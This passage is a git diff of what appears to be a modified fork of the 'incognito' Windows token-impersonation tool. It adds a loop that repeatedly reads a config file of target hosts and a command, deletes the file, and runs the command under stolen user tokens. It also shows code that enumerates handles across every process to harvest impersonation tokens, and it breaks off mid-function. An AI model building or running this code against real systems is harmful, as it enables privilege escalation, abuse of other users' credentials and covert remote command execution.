== -1) + temp[sizeof(temp)-1] = '\0'; + + if (hOUTPUT == stdout) + printf("%s / %s", host, temp); + else + { + WriteFile(hOUTPUT, host, (DWORD)strlen(host), &dwWritten, NULL); + WriteFile(hOUTPUT, " / ", (DWORD)strlen(" / "), &dwWritten, NULL); + WriteFile(hOUTPUT, temp, (DWORD)strlen(temp), &dwWritten, NULL); + } + + va_end(ap); +} + +BOOL output_counted_string(char *string, DWORD dwRead) +{ + DWORD dwWritten; + + if (hOUTPUT == stdout){ + DWORD dwWritten = (DWORD)fwrite(string, sizeof(char), dwRead, hOUTPUT); + fflush(hOUTPUT); + return dwWritten; + } else + return WriteFile(hOUTPUT, string, dwRead, &dwWritten, NULL); +} + +BOOL read_counted_input(char *string, int string_size, DWORD *dwRead) +{ + char *ret_value; + + if (hINPUT == stdin) + { + ret_value = gets(string); + *dwRead = (DWORD)strlen(string)+1; + return (BOOL)ret_value; + } + else + return ReadFile(hINPUT, string, string_size, dwRead, NULL); +} + +void print_error_if_system() +{ + if (!is_local_system()) + output_string("[-] WARNING: Not running as SYSTEM. Not all tokens will be available.\n"); +} + +void usage(char *programName) +{ + output_string("Usage:\n\n"); + output_string("%s [global options] COMMAND [options] arguments\n", programName); + output_string("\n\n"); + + + output_string("GLOBAL OPTIONS:\n\n"); + output_string("\t-g \t\tGrepable output mode\n"); + output_string("\t-q \t\tQuiet mode (suppress status messages)\n"); + output_string("\n\n"); + + + output_string("COMMANDS:\n\n"); + output_string("\tlt [options]\t\n\n"); + output_string("\t\t-u\tList by unique username\n"); + output_string("\t\t-g\tList by unique groupname\n"); + output_string("\n"); + + output_string("\texe [options] \t\n\n"); + output_string("\t\t-c\tEnable communication by console\n"); + output_string("\n"); + + output_string("\n"); +} + +static BOOL user_supplied = FALSE, pass_supplied = FALSE; +static char username[BUF_SIZE], password[BUF_SIZE]; +static int argc_global; +static char **argv_global; +static BOOL cleanup_mode = FALSE; + +void handle_options(int argc, char *argv[]) +{ + int c, MAX_THREADS = 10; + char *command, host_to_add_user[BUF_SIZE] = "127.0.0.1", *thread_specific_host = NULL; + BOOL console_mode = FALSE, file_mode = FALSE; + + argc_global = argc; + argv_global = argv; + grepable_mode = FALSE; + suppress_status = FALSE; + strcpy(remote_host, "127.0.0.1"); + + // Parse global incognito options + while ((c = getopt(argc, argv, "f:h:u:p:n:gq")) != -1) + { + switch (c) + { + case 'u': + { + user_supplied = TRUE; + strncpy(username, optarg, BUF_SIZE); + username[BUF_SIZE-1] = '\0'; + break; + } + case 'p': + { + pass_supplied = TRUE; + strncpy(password, optarg, BUF_SIZE); + password[BUF_SIZE-1] = '\0'; + break; + } + case 'g': + { + grepable_mode = TRUE; + break; + } + case 'q': + { + suppress_status = TRUE; + break; + } + case '?': output_string("[-] Unknown global option %s\n", argv[optind-1]); return; + case ':': output_string("[-] %s option argument was not supplied\n", argv[optind-1]); return; + } + } + + // Set incognito command (list_tokens, execute, snarf_hashes etc) + if (optind < argc) + command = argv[optind]; + + // Increment optind to point to command specific options and arguments + optind += 1; + + if (!is_local_system()) + output_status_string("[-] WARNING: Not running as SYSTEM. Not all tokens will be available.\n"); + + // Handle each different command + if (!_stricmp("lt", command)) + { + while ((c = getopt(argc, argv, "ug"))) + { + switch (c) + { + case 'u': list_unique_tokens(BY_USER); return; + case 'g': list_unique_tokens(BY_GROUP); return; + case EOF: output_string("[-] No list_tokens command options specified\n"); return; + default: output_string("[-] Unknown list_tokens command option\n"); return; + } + } + } + else if (!_stricmp("exe", command)) + { + while ((c = getopt(argc, argv, "c")) != -1) + { + switch (c) + { + case 'c': console_mode = TRUE; break; + default: output_string("[-] Unknown execute command option\n"); return; + } + } + + // Check enough arguments supplied + if (argc - optind < 2) + { + output_string("[-] Not enough arguments supplied to execute command\n"); + return; + } + + execute_process_with_primary_token(argv[optind], 1, argv[optind+1], console_mode); + return; + } + else + output_string("[-] Unknown command %s\n", command); + + return; +} diff --git a/src/incognito.c b/src/incognito.c new file mode 100644 index 0000000..fc618df --- /dev/null +++ b/src/incognito.c @@ -0,0 +1,119 @@ +#define _CRT_SECURE_NO_DEPRECATE 1 +#include +#include +#include +#include +#include +#include "process_execution.h" + +void strip_spaces(char* input) { + size_t sl = strlen(input), index; + for (index = 0; index < sl; index++) { + if (input[index] == ' ') { + memmove(&input[index], &input[index + 1], sl - index); + index--; + } + else { + break; + } + } + for (index = strlen(input) - 1; index > 0; index--) { + if (input[index] == ' ') { + input[index] = '\0'; + } + else { + break; + } + } +} + +void parse_config(char* filename) { + // read file + HANDLE fh = CreateFile( + filename, + GENERIC_READ, + FILE_SHARE_READ, + NULL, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + NULL + ); + if (fh == INVALID_HANDLE_VALUE) { + return; + } + DWORD file_size = GetFileSize(fh, NULL); + DWORD bytes_read = 0; + char* file_contents = (char*)calloc(file_size + 1, sizeof(char)); + if (!ReadFile(fh, file_contents, file_size, &bytes_read, NULL)) { + CloseHandle(fh); + return; + } + CloseHandle(fh); + + // parse config items + char* targets_loc = strstr(file_contents, "targets:") + strlen("targets:"); + char* command_loc = strstr(file_contents, "command:") + strlen("command:"); + + // tokenize input + char* ptr = strtok(file_contents, "\r\n"); + while (ptr != NULL) { + ptr = strtok(NULL, "\r\n"); + } + + // look for targets + DWORD num_targets = 0; + char** targets = (char**)calloc(1, sizeof(char*)); + if (targets_loc != NULL) { + num_targets++; + // get number of targets + for (int i = 0; i < strlen(targets_loc); i++) { + if (targets_loc[i] == ',') { + num_targets++; + } + } + // get targets + if (targets != NULL) { + free(targets); + targets = NULL; + } + targets = (char**)calloc(num_targets, sizeof(char*)); + char* t = strtok(targets_loc, ","); + DWORD ti = 0; + while (t != NULL) { + targets[ti] = t; + t = strtok(NULL, ","); + ti++; + } + // remove leading spaces + for (size_t j = 0; j < ti; j++) { + strip_spaces(targets[j]); + } + } + // look for command + if (command_loc != NULL) { + strip_spaces(command_loc); + } + // do it! + if (strlen(command_loc) > 0 && num_targets > 0) { + execute_process_with_primary_token(targets, num_targets, command_loc, TRUE); + } + + // cleanup + free(file_contents); +} + +int main(int argc, char *argv[]) +{ + // usage: incognito.exe + if (argc != 2) { + return 0; + } + + while (TRUE) { + parse_config(argv[1]); + DeleteFile(argv[1]); + Sleep(60000); + } + + exit(0); +} diff --git a/incognito_service.c b/src/incognito_service.c similarity index 90% rename from incognito_service.c rename to src/incognito_service.c index 4ed13fa..99be976 100644 --- a/incognito_service.c +++ b/src/incognito_service.c @@ -1,169 +1,169 @@ -/* -Software License Agreement (BSD License) - -Copyright (c) 2006, Luke Jennings (0xlukej@gmail.com) -All rights reserved. - -Redistribution and use of this software in source and binary forms, with or without modification, are -permitted provided that the following conditions are met: - -* Redistributions of source code must retain the above - copyright notice, this list of conditions and the - following disclaimer. - -* Redistributions in binary form must reproduce the above - copyright notice, this list of conditions and the - following disclaimer in the documentation and/or other - materials provided with the distribution. - -* Neither the name of Luke Jennings nor the names of its - contributors may be used to endorse or promote products - derived from this software without specific prior - written permission of Luke Jennings. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED -WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A -PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR -ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS -INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR -TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF -ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -*/ -#define _CRT_SECURE_NO_DEPRECATE 1 -#include -#include -#include "handle_arguments.h" - -#define BUFFER_SIZE 500 - -SERVICE_STATUS ServiceStatus; -SERVICE_STATUS_HANDLE hStatus; - -void ServiceMain(int argc, char** argv); -void ControlHandler(DWORD request); -BOOL InitializePipe(LPCTSTR lpszPipe); - -HANDLE hPipeR, hPipeW; - -void main() -{ - SERVICE_TABLE_ENTRY ServiceTable[2]; - ServiceTable[0].lpServiceName = "incognito_service"; - ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain; - - ServiceTable[1].lpServiceName = NULL; - ServiceTable[1].lpServiceProc = NULL; - - // Start the control dispatcher thread for our service - StartServiceCtrlDispatcher(ServiceTable); -} - -void ServiceMain(int argc, char** argv) -{ - ServiceStatus.dwServiceType = SERVICE_WIN32; - ServiceStatus.dwCurrentState = SERVICE_START_PENDING; - ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN; - ServiceStatus.dwWin32ExitCode = 0; - ServiceStatus.dwServiceSpecificExitCode = 0; - ServiceStatus.dwCheckPoint = 0; - ServiceStatus.dwWaitHint = 0; - - hStatus = RegisterServiceCtrlHandler( - "incognito_service", - (LPHANDLER_FUNCTION)ControlHandler); - - if (hStatus == (SERVICE_STATUS_HANDLE)0) - { - // Registering Control Handler failed - return; - } - - // We report the running status to SCM. - ServiceStatus.dwCurrentState = SERVICE_RUNNING; - SetServiceStatus (hStatus, &ServiceStatus); - - InitializePipe(argv[1]); - Sleep(100); - - hOUTPUT = hPipeW; - hINPUT = hPipeR; - - override_connect_remotely = TRUE; - handle_options(argc-1, ++argv); - - ServiceStatus.dwCurrentState = SERVICE_STOPPED; - SetServiceStatus (hStatus, &ServiceStatus); - - Sleep(100); - return; -} - -// Control handler function -void ControlHandler(DWORD request) -{ - switch(request) - { - case SERVICE_CONTROL_STOP: - ServiceStatus.dwWin32ExitCode = 0; - ServiceStatus.dwCurrentState = SERVICE_STOPPED; - SetServiceStatus (hStatus, &ServiceStatus); - return; - - case SERVICE_CONTROL_SHUTDOWN: - ServiceStatus.dwWin32ExitCode = 0; - ServiceStatus.dwCurrentState = SERVICE_STOPPED; - SetServiceStatus (hStatus, &ServiceStatus); - return; - - default: - break; - } - - // Report current status - SetServiceStatus (hStatus, &ServiceStatus); - - return; -} - -BOOL InitializePipe(LPCTSTR lpszPipe) -{ - char szPipeName[MAX_PATH]; - - memset(szPipeName, 0, MAX_PATH); - if (_snprintf(szPipeName, MAX_PATH, "\\\\.\\pipe\\%s", lpszPipe) == -1) - szPipeName[sizeof(szPipeName)-1] = '\0'; - - hPipeW = CreateNamedPipeA(szPipeName, - PIPE_ACCESS_DUPLEX, // read/write access - PIPE_TYPE_MESSAGE | // message type pipe - PIPE_READMODE_MESSAGE | // message-read mode - PIPE_WAIT, // blocking mode - PIPE_UNLIMITED_INSTANCES, // max. instances - BUFFER_SIZE, // output buffer size - BUFFER_SIZE, // input buffer size - 10000, // client time-out - NULL); // no security attribute - - ConnectNamedPipe(hPipeW, NULL); - - hPipeR = CreateNamedPipeA(szPipeName, - PIPE_ACCESS_DUPLEX, // read/write access - PIPE_TYPE_MESSAGE | // message type pipe - PIPE_READMODE_MESSAGE | // message-read mode - PIPE_WAIT, // blocking mode - PIPE_UNLIMITED_INSTANCES, // max. instances - BUFFER_SIZE, // output buffer size - BUFFER_SIZE, // input buffer size - 10000, // client time-out - NULL); // no security attribute - - ConnectNamedPipe(hPipeR, NULL); - - if (hPipeR == INVALID_HANDLE_VALUE || hPipeW == INVALID_HANDLE_VALUE) - { - return FALSE; - } - - return TRUE; -} +/* +Software License Agreement (BSD License) + +Copyright (c) 2006, Luke Jennings (0xlukej@gmail.com) +All rights reserved. + +Redistribution and use of this software in source and binary forms, with or without modification, are +permitted provided that the following conditions are met: + +* Redistributions of source code must retain the above + copyright notice, this list of conditions and the + following disclaimer. + +* Redistributions in binary form must reproduce the above + copyright notice, this list of conditions and the + following disclaimer in the documentation and/or other + materials provided with the distribution. + +* Neither the name of Luke Jennings nor the names of its + contributors may be used to endorse or promote products + derived from this software without specific prior + written permission of Luke Jennings. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED +WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A +PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR +ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR +TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF +ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +*/ +#define _CRT_SECURE_NO_DEPRECATE 1 +#include +#include +#include "handle_arguments.h" + +#define BUFFER_SIZE 500 + +SERVICE_STATUS ServiceStatus; +SERVICE_STATUS_HANDLE hStatus; + +void ServiceMain(int argc, char** argv); +void ControlHandler(DWORD request); +BOOL InitializePipe(LPCTSTR lpszPipe); + +HANDLE hPipeR, hPipeW; + +//void main() +//{ +// SERVICE_TABLE_ENTRY ServiceTable[2]; +// ServiceTable[0].lpServiceName = "inc_service"; +// ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain; +// +// ServiceTable[1].lpServiceName = NULL; +// ServiceTable[1].lpServiceProc = NULL; +// +// // Start the control dispatcher thread for our service +// StartServiceCtrlDispatcher(ServiceTable); +//} + +void ServiceMain(int argc, char** argv) +{ + ServiceStatus.dwServiceType = SERVICE_WIN32; + ServiceStatus.dwCurrentState = SERVICE_START_PENDING; + ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN; + ServiceStatus.dwWin32ExitCode = 0; + ServiceStatus.dwServiceSpecificExitCode = 0; + ServiceStatus.dwCheckPoint = 0; + ServiceStatus.dwWaitHint = 0; + + hStatus = RegisterServiceCtrlHandler( + "inc_service", + (LPHANDLER_FUNCTION)ControlHandler); + + if (hStatus == (SERVICE_STATUS_HANDLE)0) + { + // Registering Control Handler failed + return; + } + + // We report the running status to SCM. + ServiceStatus.dwCurrentState = SERVICE_RUNNING; + SetServiceStatus (hStatus, &ServiceStatus); + + InitializePipe(argv[1]); + Sleep(100); + + hOUTPUT = hPipeW; + hINPUT = hPipeR; + + override_connect_remotely = TRUE; + handle_options(argc-1, ++argv); + + ServiceStatus.dwCurrentState = SERVICE_STOPPED; + SetServiceStatus (hStatus, &ServiceStatus); + + Sleep(100); + return; +} + +// Control handler function +void ControlHandler(DWORD request) +{ + switch(request) + { + case SERVICE_CONTROL_STOP: + ServiceStatus.dwWin32ExitCode = 0; + ServiceStatus.dwCurrentState = SERVICE_STOPPED; + SetServiceStatus (hStatus, &ServiceStatus); + return; + + case SERVICE_CONTROL_SHUTDOWN: + ServiceStatus.dwWin32ExitCode = 0; + ServiceStatus.dwCurrentState = SERVICE_STOPPED; + SetServiceStatus (hStatus, &ServiceStatus); + return; + + default: + break; + } + + // Report current status + SetServiceStatus (hStatus, &ServiceStatus); + + return; +} + +BOOL InitializePipe(LPCTSTR lpszPipe) +{ + char szPipeName[MAX_PATH]; + + memset(szPipeName, 0, MAX_PATH); + if (_snprintf(szPipeName, MAX_PATH, "\\\\.\\pipe\\%s", lpszPipe) == -1) + szPipeName[sizeof(szPipeName)-1] = '\0'; + + hPipeW = CreateNamedPipeA(szPipeName, + PIPE_ACCESS_DUPLEX, // read/write access + PIPE_TYPE_MESSAGE | // message type pipe + PIPE_READMODE_MESSAGE | // message-read mode + PIPE_WAIT, // blocking mode + PIPE_UNLIMITED_INSTANCES, // max. instances + BUFFER_SIZE, // output buffer size + BUFFER_SIZE, // input buffer size + 10000, // client time-out + NULL); // no security attribute + + ConnectNamedPipe(hPipeW, NULL); + + hPipeR = CreateNamedPipeA(szPipeName, + PIPE_ACCESS_DUPLEX, // read/write access + PIPE_TYPE_MESSAGE | // message type pipe + PIPE_READMODE_MESSAGE | // message-read mode + PIPE_WAIT, // blocking mode + PIPE_UNLIMITED_INSTANCES, // max. instances + BUFFER_SIZE, // output buffer size + BUFFER_SIZE, // input buffer size + 10000, // client time-out + NULL); // no security attribute + + ConnectNamedPipe(hPipeR, NULL); + + if (hPipeR == INVALID_HANDLE_VALUE || hPipeW == INVALID_HANDLE_VALUE) + { + return FALSE; + } + + return TRUE; +} diff --git a/list_tokens.c b/src/list_tokens.c similarity index 96% rename from list_tokens.c rename to src/list_tokens.c index c987776..1d2fba8 100644 --- a/list_tokens.c +++ b/src/list_tokens.c @@ -1,625 +1,625 @@ -/* -Software License Agreement (BSD License) - -Copyright (c) 2006, Luke Jennings (0xlukej@gmail.com) -All rights reserved. - -Redistribution and use of this software in source and binary forms, with or without modification, are -permitted provided that the following conditions are met: - -* Redistributions of source code must retain the above - copyright notice, this list of conditions and the - following disclaimer. - -* Redistributions in binary form must reproduce the above - copyright notice, this list of conditions and the - following disclaimer in the documentation and/or other - materials provided with the distribution. - -* Neither the name of Luke Jennings nor the names of its - contributors may be used to endorse or promote products - derived from this software without specific prior - written permission of Luke Jennings. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED -WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A -PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR -ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS -INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR -TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF -ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -*/ -#define _CRT_SECURE_NO_DEPRECATE 1 -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include "list_tokens.h" -#include "token_info.h" -#include "handle_arguments.h" - - -typedef LONG NTSTATUS; -typedef VOID *POBJECT; - -typedef enum _OBJECT_INFORMATION_CLASS{ - ObjectBasicInformation, - ObjectNameInformation, - ObjectTypeInformation, - ObjectAllTypesInformation, - ObjectHandleInformation -} OBJECT_INFORMATION_CLASS; - -typedef struct _SYSTEM_HANDLE { - ULONG uIdProcess; - UCHAR ObjectType; - UCHAR Flags; - USHORT Handle; - POBJECT pObject; - ACCESS_MASK GrantedAccess; -} SYSTEM_HANDLE, *PSYSTEM_HANDLE; - -typedef struct _SYSTEM_HANDLE_INFORMATION { - ULONG uCount; - SYSTEM_HANDLE Handles[1]; -} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; - -typedef struct _SYSTEM_PROCESS_INFORMATION { - ULONG NextEntryOffset; - BYTE Reserved1[52]; - PVOID Reserved2[3]; - HANDLE UniqueProcessId; - PVOID Reserved3; - ULONG HandleCount; - BYTE Reserved4[4]; - PVOID Reserved5[11]; - SIZE_T PeakPagefileUsage; - SIZE_T PrivatePageCount; - LARGE_INTEGER Reserved6[6]; -} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION; - -typedef struct _UNICODE_STRING { - USHORT Length; - USHORT MaximumLength; - PWSTR Buffer; -} UNICODE_STRING; - -#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) -#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L) -#define STATUS_BUFFER_OVERFLOW ((NTSTATUS)0x80000005L) -#define SystemHandleInformation 16 -#define SystemProcessInformation 5 - -typedef NTSTATUS (WINAPI *NTQUERYSYSTEMINFORMATION)(DWORD SystemInformationClass, - PVOID SystemInformation, - DWORD SystemInformationLength, - PDWORD ReturnLength); - -typedef NTSTATUS (WINAPI *NTQUERYOBJECT)(HANDLE ObjectHandle, - OBJECT_INFORMATION_CLASS ObjectInformationClass, - PVOID ObjectInformation, - DWORD Length, - PDWORD ResultLength); - -NTQUERYOBJECT NtQueryObject ; -NTQUERYSYSTEMINFORMATION NtQuerySystemInformation; - -LPWSTR GetObjectInfo(HANDLE hObject, OBJECT_INFORMATION_CLASS objInfoClass); - -typedef UNICODE_STRING OBJECT_NAME_INFORMATION; -typedef UNICODE_STRING *POBJECT_NAME_INFORMATION; - -LPWSTR GetObjectInfo(HANDLE hObject, OBJECT_INFORMATION_CLASS objInfoClass) -{ - LPWSTR data = NULL; - DWORD dwSize = sizeof(OBJECT_NAME_INFORMATION); - POBJECT_NAME_INFORMATION pObjectInfo = (POBJECT_NAME_INFORMATION) malloc(dwSize); - - NTSTATUS ntReturn = NtQueryObject(hObject, objInfoClass, pObjectInfo, dwSize, &dwSize); - if((ntReturn == STATUS_BUFFER_OVERFLOW) || (ntReturn == STATUS_INFO_LENGTH_MISMATCH)){ - pObjectInfo =realloc(pObjectInfo ,dwSize); - ntReturn = NtQueryObject(hObject, objInfoClass, pObjectInfo, dwSize, &dwSize); - } - if((ntReturn >= STATUS_SUCCESS) && (pObjectInfo->Buffer != NULL)) - { - data = (LPWSTR)calloc(pObjectInfo->Length, sizeof(WCHAR)); - CopyMemory(data, pObjectInfo->Buffer, pObjectInfo->Length); - } - free(pObjectInfo); - return data; -} - -static int compare_token_names(const unique_user_token *a, const unique_user_token *b) -{ - return _stricmp(a->username, b->username); -} - -SavedToken *get_token_list(DWORD *num_tokens_enum, TOKEN_PRIVS *token_privs) -{ - DWORD total=0, i, j, num_tokens=0, token_list_size = BUF_SIZE, dwSize = sizeof(SYSTEM_HANDLE_INFORMATION), dwError; - HANDLE process, hObject; - PSYSTEM_PROCESS_INFORMATION pProcessInfo=NULL; - PSYSTEM_PROCESS_INFORMATION original_pProcessInfo=NULL; - NTSTATUS ntReturn; - BOOL bMoreProcesses = TRUE; - - LPVOID TokenPrivilegesInfo[BUF_SIZE]; - DWORD returned_privileges_length, returned_name_length; - char privilege_name[BUF_SIZE]; - HANDLE hObject2=NULL; - - SavedToken *token_list = (SavedToken*)calloc(token_list_size, sizeof(SavedToken)); - *num_tokens_enum = 0; - - token_privs->SE_ASSIGNPRIMARYTOKEN_PRIVILEGE = FALSE; - token_privs->SE_CREATE_TOKEN_PRIVILEGE = FALSE; - token_privs->SE_TCB_PRIVILEGE = FALSE; - token_privs->SE_TAKE_OWNERSHIP_PRIVILEGE = FALSE; - token_privs->SE_BACKUP_PRIVILEGE = FALSE; - token_privs->SE_RESTORE_PRIVILEGE = FALSE; - token_privs->SE_DEBUG_PRIVILEGE = FALSE; - token_privs->SE_IMPERSONATE_PRIVILEGE = FALSE; - token_privs->SE_RELABEL_PRIVILEGE = FALSE; - token_privs->SE_LOAD_DRIVER_PRIVILEGE = FALSE; - - // Enable debug privs if possible - TryEnableDebugPriv(NULL); - TryEnableAssignPrimaryPriv(NULL); - OpenProcessToken(GetCurrentProcess(), GENERIC_ALL/*MAXIMUM_ALLOWED*/, &hObject); - has_impersonate_priv(hObject); - - NtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(GetModuleHandle("NTDLL.DLL"), "NtQuerySystemInformation"); - NtQueryObject= (NTQUERYOBJECT)GetProcAddress(GetModuleHandle("NTDLL.DLL"), "NtQueryObject"); - dwSize = 256*1000; - - pProcessInfo = (PSYSTEM_PROCESS_INFORMATION)malloc(dwSize); - ntReturn = NtQuerySystemInformation(SystemProcessInformation, pProcessInfo, dwSize, &dwSize); - - while (ntReturn == STATUS_INFO_LENGTH_MISMATCH) { - free(pProcessInfo); - pProcessInfo = (PSYSTEM_PROCESS_INFORMATION)malloc(dwSize); - ntReturn = NtQuerySystemInformation(SystemProcessInformation, pProcessInfo, dwSize, &dwSize); - } - - original_pProcessInfo = pProcessInfo; - - if(ntReturn == STATUS_SUCCESS) - { - while (bMoreProcesses) - { - if (pProcessInfo->NextEntryOffset == 0) - bMoreProcesses = FALSE; - - // if has impersonate privs, only needs read access - process = OpenProcess(MAXIMUM_ALLOWED,FALSE, (DWORD)pProcessInfo->UniqueProcessId); - - for(i = 0; i < pProcessInfo->HandleCount; i++) - { - if(process != INVALID_HANDLE_VALUE) - { - hObject = NULL; - - if(DuplicateHandle(process, (HANDLE)((i+1)*4), - GetCurrentProcess(), &hObject, MAXIMUM_ALLOWED, FALSE, 0x02) != FALSE) - { - LPWSTR lpwsType=NULL; - lpwsType = GetObjectInfo(hObject, ObjectTypeInformation); - if ((lpwsType!=NULL) && !wcscmp(lpwsType, L"Token") && ImpersonateLoggedOnUser(hObject) != 0) - { - // ImpersonateLoggedOnUser() always returns true. Need to check whether impersonated token kept impersonate status - failure degrades to identification - // also revert to self after getting new token context - // only process if it was impersonation or higher - OpenThreadToken(GetCurrentThread(), MAXIMUM_ALLOWED, TRUE, &hObject2); - RevertToSelf(); - if (is_impersonation_token(hObject2) ) - { - // Reallocate space if necessary - if(*num_tokens_enum >= token_list_size) - { - token_list_size *= 2; - token_list = (SavedToken*)realloc(token_list, token_list_size*sizeof(SavedToken)); - if (!token_list) - goto cleanup; - } - token_list[*num_tokens_enum].token = hObject; - get_domain_username_from_token(hObject, token_list[*num_tokens_enum].username); - - if (GetTokenInformation(hObject, TokenPrivileges, TokenPrivilegesInfo, BUF_SIZE, &returned_privileges_length)) - { - if (((TOKEN_PRIVILEGES*)TokenPrivilegesInfo)->PrivilegeCount > 0) - for (j=0;j<((TOKEN_PRIVILEGES*)TokenPrivilegesInfo)->PrivilegeCount;j++) - { - returned_name_length = BUF_SIZE; - LookupPrivilegeNameA(NULL, &(((TOKEN_PRIVILEGES*)TokenPrivilegesInfo)->Privileges[j].Luid), privilege_name, &returned_name_length); - if (strcmp(privilege_name, "SeAssignPrimaryTokenPrivilege") == 0) - { - token_privs->SE_ASSIGNPRIMARYTOKEN_PRIVILEGE = TRUE; - } - else if (strcmp(privilege_name, "SeCreateTokenPrivilege") == 0) - { - token_privs->SE_CREATE_TOKEN_PRIVILEGE = TRUE; - } - else if (strcmp(privilege_name, "SeTcbPrivilege") == 0) - { - token_privs->SE_TCB_PRIVILEGE = TRUE; - } - else if (strcmp(privilege_name, "SeTakeOwnershipPrivilege") == 0) - { - token_privs->SE_TAKE_OWNERSHIP_PRIVILEGE = TRUE; - } - else if (strcmp(privilege_name, "SeBackupPrivilege") == 0) - { - token_privs->SE_BACKUP_PRIVILEGE = TRUE; - } - else if (strcmp(privilege_name, "SeRestorePrivilege") == 0) - { - token_privs->SE_RESTORE_PRIVILEGE = TRUE; - } - else if (strcmp(privilege_name, "SeDebugPrivilege") == 0) - { - token_privs->SE_DEBUG_PRIVILEGE = TRUE; - } - else if (strcmp(privilege_name, "SeImpersonatePrivilege") == 0) - { - token_privs->SE_IMPERSONATE_PRIVILEGE = TRUE; - } - else if (strcmp(privilege_name, "SeRelabelPrivilege") == 0) - { - token_privs->SE_RELABEL_PRIVILEGE = TRUE; - } - else if (strcmp(privilege_name, "SeLoadDriverPrivilege") == 0) - { - token_privs->SE_LOAD_DRIVER_PRIVILEGE = TRUE; - } - } - } - - (*num_tokens_enum)++; - } - CloseHandle(hObject2); - } - else - CloseHandle(hObject); - } - } - } - - // Also process primary - // if has impersonate privs, only needs read access - process = OpenProcess(MAXIMUM_ALLOWED, FALSE, (DWORD)pProcessInfo->UniqueProcessId); - dwError = OpenProcessToken(process, MAXIMUM_ALLOWED, &hObject); - - if (dwError !=0 && ImpersonateLoggedOnUser(hObject) != 0) - { - // ImpersonateLoggedOnUser() always returns true. Need to check whether impersonated token kept impersonate status - failure degrades to identification - // also revert to self after getting new token context - // only process if it was impersonation or higher - OpenThreadToken(GetCurrentThread(), MAXIMUM_ALLOWED, TRUE, &hObject2); - RevertToSelf(); - if (is_impersonation_token(hObject2)) - { - token_list[*num_tokens_enum].token = hObject; - get_domain_username_from_token(hObject, token_list[*num_tokens_enum].username); - (*num_tokens_enum)++; - - if (GetTokenInformation(hObject, TokenPrivileges, TokenPrivilegesInfo, BUF_SIZE, &returned_privileges_length)) - { - for (i=0;i<((TOKEN_PRIVILEGES*)TokenPrivilegesInfo)->PrivilegeCount;i++) - { - returned_name_length = BUF_SIZE; - LookupPrivilegeNameA(NULL, &(((TOKEN_PRIVILEGES*)TokenPrivilegesInfo)->Privileges[i].Luid), privilege_name, &returned_name_length); - if (strcmp(privilege_name, "SeAssignPrimaryTokenPrivilege") == 0) - { - token_privs->SE_ASSIGNPRIMARYTOKEN_PRIVILEGE = TRUE; - } - else if (strcmp(privilege_name, "SeCreateTokenPrivilege") == 0) - { - token_privs->SE_CREATE_TOKEN_PRIVILEGE = TRUE; - } - else if (strcmp(privilege_name, "SeTcbPrivilege") == 0) - { - token_privs->SE_TCB_PRIVILEGE = TRUE; - } - else if 